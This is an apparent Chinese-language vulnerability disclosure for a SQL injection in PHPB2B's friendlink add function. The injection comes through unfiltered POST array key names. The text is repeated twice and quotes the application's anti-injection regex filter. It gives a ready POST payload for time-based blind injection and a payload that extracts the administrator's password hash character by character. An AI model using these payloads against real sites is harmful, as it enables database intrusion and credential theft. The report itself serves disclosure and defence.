### 简要描述:
PHPB2B某处sql注入#2
### 详细说明:
PHPB2B某处sql注入
官网下载的最新版本
绕过全局防注入。
我们先看看全局防注入怎么写的。
以下是全局防注入用到的函数
```
function pb_attack_filter($StrFiltKey,$StrFiltValue,$ArrFiltReq){
if(is_array($StrFiltValue))
{
$StrFiltValue=@implode(",", $StrFiltValue);
}
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
echo $StrFiltValue;
header_sent("Warning : Illegal operation!");
exit();
}
}
function pb_hack_check(){
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|ascii|load_file|substring|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$_PG=array_merge($_GET,$_POST);
foreach($_PG as $key=>$value){
pb_attack_filter($key,$value,$getfilter);
pb_attack_filter($key,$value,$postfilter);
}
}
```
其核心在于,对post和get传递过来的参数值进行了一次过滤
```
foreach($_PG as $key=>$value){
pb_attack_filter($key,$value,$getfilter);
pb_attack_filter($key,$value,$postfilter);
}
```
但是还是有不足的地方。
librabies/core/controllers/friendlink_controller.php
18-29行
```
function add()
{
global $smarty;
using( "message");
$pms = new Messages();
if (isset($_POST['do']) && !empty($_POST['friendlink'])) {
pb_submit_check('friendlink');
$data = $_POST['friendlink'];
$result = false;
$data['status'] = 0;
$data['created'] = $data['modified'] = $this->friendlink->timestamp;
$result = $this->friendlink->save($data);
```
传入参数friendlink并传入save函数中。
跟入save函数
只看关键行
```
function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false)
{
$new_id = $result = false;
$keys = array_keys($posts);
$cols = implode($keys,",");
$tbname = (is_null($tbname))? $this->getTable():trim($tbname);
$this->table_name = $tbname;
//Todo:2010.04.14, by steven
if(!empty($id)){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";
}elseif(!empty($posts[$this->primaryKey])){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'";
}else{
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'";
}
```
$id默认为空
所以最后拼接成的sql为
```
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";
```
$cols是怎么来的?
```
$keys = array_keys($posts);
$cols = implode($keys,",");
```
原来是取出了post传递过来的参数的键名数组,然后用,分割成字符串。而键名是不在全局sql注入过滤中的,于是产生了注入。
我们知道php是可以传递数组的,包括二维数组。于是很轻易的在此处构造出一个sql注入。
演示如下。
先访问
localhost/phpb2b/?do=friendlink
查看源代码。获取csrf的formhash
得到当前formhash=95a43736362e5dd0
访问
localhost/phpb2b/?do=friendlink&action=add
post提交
```
formhash=95a43736362e5dd0&do=1&friendlink[status%2Cmodified%2Ccreated%20from%20pb_wwd_friendlinks%20where%20if%281%3D1%2Csleep%281%29%2C0%29%23]=1
```
为了演示方便,我把sql语句打印出来了。
[<img src="https://images.seebug.org/upload/201501/06164004e4aa0c32f8aaea23094e3e75a8af0790.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/06164004e4aa0c32f8aaea23094e3e75a8af0790.png)
1=1成功延时
```
SELECT status,modified,created from pb_wwd_friendlinks where if(1=1,sleep(1),0)#,status,modified,created FROM pb_wwd_friendlinks WHERE id='-1'
```
1=2不延时
借此可以用来做一个延时注入。
比如要猜测管理员的MD5
```
status,modified,created from pb_wwd_friendlinks where if((ascii(substr((select userpass from pb_wwd_members limit 1),1,1))>40),sleep(5),0)#
```
延时成功,MD5密码的第一位ascii大于40
以此类推,可以猜解出管理员md5.
### 漏洞证明:
PHPB2B某处sql注入
官网下载的最新版本
绕过全局防注入。
我们先看看全局防注入怎么写的。
以下是全局防注入用到的函数
```
function pb_attack_filter($StrFiltKey,$StrFiltValue,$ArrFiltReq){
if(is_array($StrFiltValue))
{
$StrFiltValue=@implode(",", $StrFiltValue);
}
if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
echo $StrFiltValue;
header_sent("Warning : Illegal operation!");
exit();
}
}
function pb_hack_check(){
$getfilter="'|(and|or)\\b.+?(>|<|=|in|like)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$postfilter="\\b(and|or)\\b.{1,6}?(=|>|<|\\bin\\b|\\blike\\b)|\\/\\*.+?\\*\\/|<\\s*script\\b|\\bEXEC\\b|UNION.+?SELECT|UPDATE.+?SET|ascii|load_file|substring|INSERT\\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\\s+(TABLE|DATABASE)";
$_PG=array_merge($_GET,$_POST);
foreach($_PG as $key=>$value){
pb_attack_filter($key,$value,$getfilter);
pb_attack_filter($key,$value,$postfilter);
}
}
```
其核心在于,对post和get传递过来的参数值进行了一次过滤
```
foreach($_PG as $key=>$value){
pb_attack_filter($key,$value,$getfilter);
pb_attack_filter($key,$value,$postfilter);
}
```
但是还是有不足的地方。
librabies/core/controllers/friendlink_controller.php
18-29行
```
function add()
{
global $smarty;
using( "message");
$pms = new Messages();
if (isset($_POST['do']) && !empty($_POST['friendlink'])) {
pb_submit_check('friendlink');
$data = $_POST['friendlink'];
$result = false;
$data['status'] = 0;
$data['created'] = $data['modified'] = $this->friendlink->timestamp;
$result = $this->friendlink->save($data);
```
传入参数friendlink并传入save函数中。
跟入save函数
只看关键行
```
function save($posts, $action=null, $id=null, $tbname = null, $conditions = null, $if_check_word_ban = false)
{
$new_id = $result = false;
$keys = array_keys($posts);
$cols = implode($keys,",");
$tbname = (is_null($tbname))? $this->getTable():trim($tbname);
$this->table_name = $tbname;
//Todo:2010.04.14, by steven
if(!empty($id)){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";
}elseif(!empty($posts[$this->primaryKey])){
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$posts[$this->primaryKey]."'";
}else{
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='-1'";
}
```
$id默认为空
所以最后拼接成的sql为
```
$sql = "SELECT $cols FROM ".$tbname." WHERE ".$this->primaryKey."='".$id."'";
```
$cols是怎么来的?
```
$keys = array_keys($posts);
$cols = implode($keys,",");
```
原来是取出了post传递过来的参数的键名数组,然后用,分割成字符串。而键名是不在全局sql注入过滤中的,于是产生了注入。
我们知道php是可以传递数组的,包括二维数组。于是很轻易的在此处构造出一个sql注入。
演示如下。
先访问
localhost/phpb2b/?do=friendlink
查看源代码。获取csrf的formhash
得到当前formhash=95a43736362e5dd0
访问
localhost/phpb2b/?do=friendlink&action=add
post提交
```
formhash=95a43736362e5dd0&do=1&friendlink[status%2Cmodified%2Ccreated%20from%20pb_wwd_friendlinks%20where%20if%281%3D1%2Csleep%281%29%2C0%29%23]=1
```
为了演示方便,我把sql语句打印出来了。
[<img src="https://images.seebug.org/upload/201501/06164004e4aa0c32f8aaea23094e3e75a8af0790.png" alt="1.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201501/06164004e4aa0c32f8aaea23094e3e75a8af0790.png)
1=1成功延时
```
SELECT status,modified,created from pb_wwd_friendlinks where if(1=1,sleep(1),0)#,status,modified,created FROM pb_wwd_friendlinks WHERE id='-1'
```
1=2不延时
借此可以用来做一个延时注入。
比如要猜测管理员的MD5
```
status,modified,created from pb_wwd_friendlinks where if((ascii(substr((select userpass from pb_wwd_members limit 1),1,1))>40),sleep(5),0)#
```
延时成功,MD5密码的第一位ascii大于40
以此类推,可以猜解出管理员md5.
暂无评论